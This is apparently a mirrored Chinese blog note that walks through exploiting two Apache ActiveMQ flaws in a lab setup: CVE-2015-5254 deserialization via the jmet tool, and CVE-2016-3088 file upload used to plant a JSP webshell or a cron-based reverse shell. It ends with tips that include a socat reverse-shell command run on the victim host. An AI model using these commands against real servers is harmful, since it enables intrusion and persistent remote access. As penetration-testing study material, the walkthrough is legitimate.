zoukankan      html  css  js  c++  java
  • Apache ActiveMQ漏洞笔记

    0x00 简介

    Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。

    0x01 环境搭建

    本文所使用apachemq版本为:5.11.0
    下载地址:http://activemq.apache.org/activemq-5110-release.html
    解压后

      ./bin/activemq         start          启动
      netstat -ntlp|grep 8161               查看是否启动成功(8161为默认端口)

    1.png

    0x02 反序列化漏洞(CVE-2015-5254)

    Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

    8161为ActiveMQ的默认web管理端口,61616默认为ActiveMQ消息队列端口

    使用jmet进行漏洞利用,jmet下载地址:
    https://github.com/matthiaskaiser/jmet/releases

    jmet构造event事件

    java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "payload" -Yp ROME 192.168.124.128 61616

    报错:
    2.png

    在jmet目录下创建external文件夹即可

    构造反弹shell的payload发送到反序列化的消息队列中
    3.png

    查看消息:

    4.png

    当点击消息时触发:
    5.png

    0x03 任意文件写入漏洞(CVE-2016-3088)

    该漏洞影响Apache ActiveMQ 5.x ~ 5.14.0,但在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(可以在conf/jetty.xml中开启之)。在5.14.0版本以后,彻底删除了fileserver应用。
    ActiveMQ 中的 FileServer 服务允许用户通过 HTTP PUT 方法上传文件到指定目录。FileServer是储存文件的接口。FileServer支持写入文件(不解析jsp),但是支持移动文件(Move)我们可以将jsp的文件PUT到FileServer下然后再通过Move指令移动到可执行目录下访问。
    使用PUT方法进行上传测试:
    6.png

    7.png

    成功访问说明文件已经put上去,我们可以直接put jsp小马/大马 移动到可解析目录就可以getshell了。
    webapps/api/ 或者 webapps/admin/ 下都可以解析jsp。但是要移动文件到可解析目录,需要获取绝对路径
    这里介绍两种获取绝对路径的方法:
    1.访问http://ip:8161/admin/test/systemProperties.jsp

    8.png

    2.构造错误上传路径可爆出绝对路径(此版本未成功,其他版本可自行测试)

    上传Webshell:
    9.png

    根据获取的绝对路径,移动到Web目录下的/root/apache-activemq-5.11.0/webapps/admin/test.jsp
    10.png

    访问shell(需登录,默认密码 admin/admin)
    11.png

    同理也可写入ssh key进行公钥登录

    写入corntab 反弹shell(需要activemq 以root权限运行)
    12.png

    移动到/etc/cron.d/root
    13.png

    监听接收shell

    14.png

    crontab定时任务
    文件写入到 /etc/crontab.d/

     minute   hour   day   month   week   command     顺序:分    
       *       *      *       *      *    command     代表每分钟执行一次

    0x04 TIPS

    通常我们测试中反弹的shell,操作很简陋,有时候输错一个命令就意味着丢失shell,没有tab,没有vim,等等很不友好!
    下面分享几种获得完美shell的方法:
    1.使用python pty模块,可以生成一个伪终端
    当我们接收到反弹回来的shell的时候执行

     python -c 'import pty; pty.spawn("/bin/bash")'

    15.png

    2.使用socat
    Socat 像nc一样是一个强大的工具,通过tcp连接,建立完整的tty,如果受害者服务器安装了socat,你就可以用它来反弹shell。如果没有安装可以使用如下命令安装:

      wget https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat;chmod +x socat

    Listen:

     socat file:`tty`,raw,echo=0 tcp-listen:4444

    Victim:

     socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ip:4444

    16.png

    3.加了魔法的netcat
    首先第一步我们按照第一种方法python pty的方式获取一个shell
    17.png

    接着用组合键“Ctrl-Z”将shell放到后台中去。
    检查当前终端和styy信息:
    18.png

    需要的信息为term类型(xterm)和当前stty大小(rows 33; columns 191)
    让shell继续保持在后台运行,现在将当前的STTY设置为原始类型,并告诉它回显输入字符

    19.png

    用“fg”将shell提到前台来,用“reset”重置终端

    20.png

    最后利用上面收集的信息设置shell终端类型以及stty大小。
    21.png

    参考链接:https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys

  • 相关阅读:
    Java多线程:sleep()、yield()和join()方法浅析
    Java多线程:InterruptedException出现时的处理方法
    Java多线程:中断机制interrupt以及InterruptedException出现的原因
    Java多线程:哲学家就餐问题和生产者消费者问题
    Java多线程:wait()和notify()方法详解
    Java多线程:多线程的Synchronized详解
    Java多线程:线程的实现、生命周期和优先级以及与进程之间的区别
    ie6下:png图片不透明 和 背景图片为png的节点的内部标签单击事件不响应
    实现每次触发事件后隔一段时间后才能再次触发事件
    window.open窗口居中和窗口最大化
  • 原文地址:https://www.cnblogs.com/Fluorescence-tjy/p/11222069.html
Copyright © 2011-2022 走看看